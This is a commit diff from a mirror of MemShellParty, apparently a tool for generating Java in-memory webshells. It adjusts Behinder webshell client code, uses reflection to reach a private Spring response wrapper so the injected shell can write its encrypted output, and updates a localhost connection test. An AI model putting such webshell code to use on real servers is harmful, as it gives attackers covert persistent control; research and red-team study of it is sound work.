mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support springmvc shell generate
This commit is contained in:
@@ -63,7 +63,7 @@ public class BehinderManager {
|
||||
}
|
||||
String resText = new String(decrypt(resData));
|
||||
if (StringUtils.isBlank(resText)) {
|
||||
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
|
||||
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
|
||||
}
|
||||
JSONObject jsonObject = JSON.parseObject(resText);
|
||||
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
|
||||
|
||||
@@ -32,7 +32,10 @@ public class Test {
|
||||
result.put("status", "success");
|
||||
} finally {
|
||||
try {
|
||||
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
||||
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||
getOutputStreamMethod.setAccessible(true);
|
||||
Object so = getOutputStreamMethod.invoke(this.Response);
|
||||
Method write = so.getClass().getMethod("write", byte[].class);
|
||||
String jsonStr = this.buildJson(result, true);
|
||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||
|
||||
@@ -11,9 +11,9 @@ class BehinderManagerTest {
|
||||
@Test
|
||||
void test() {
|
||||
BehinderManager behinderManager = BehinderManager.builder()
|
||||
.entrypoint("http://localhost:8080/app/test")
|
||||
.pass("test123")
|
||||
.header("User-Agent", "testValve").build();
|
||||
.entrypoint("http://localhost:8080/test")
|
||||
.pass("pass")
|
||||
.header("User-Agent", "BehinderinterceptorBase64").build();
|
||||
behinderManager.test();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user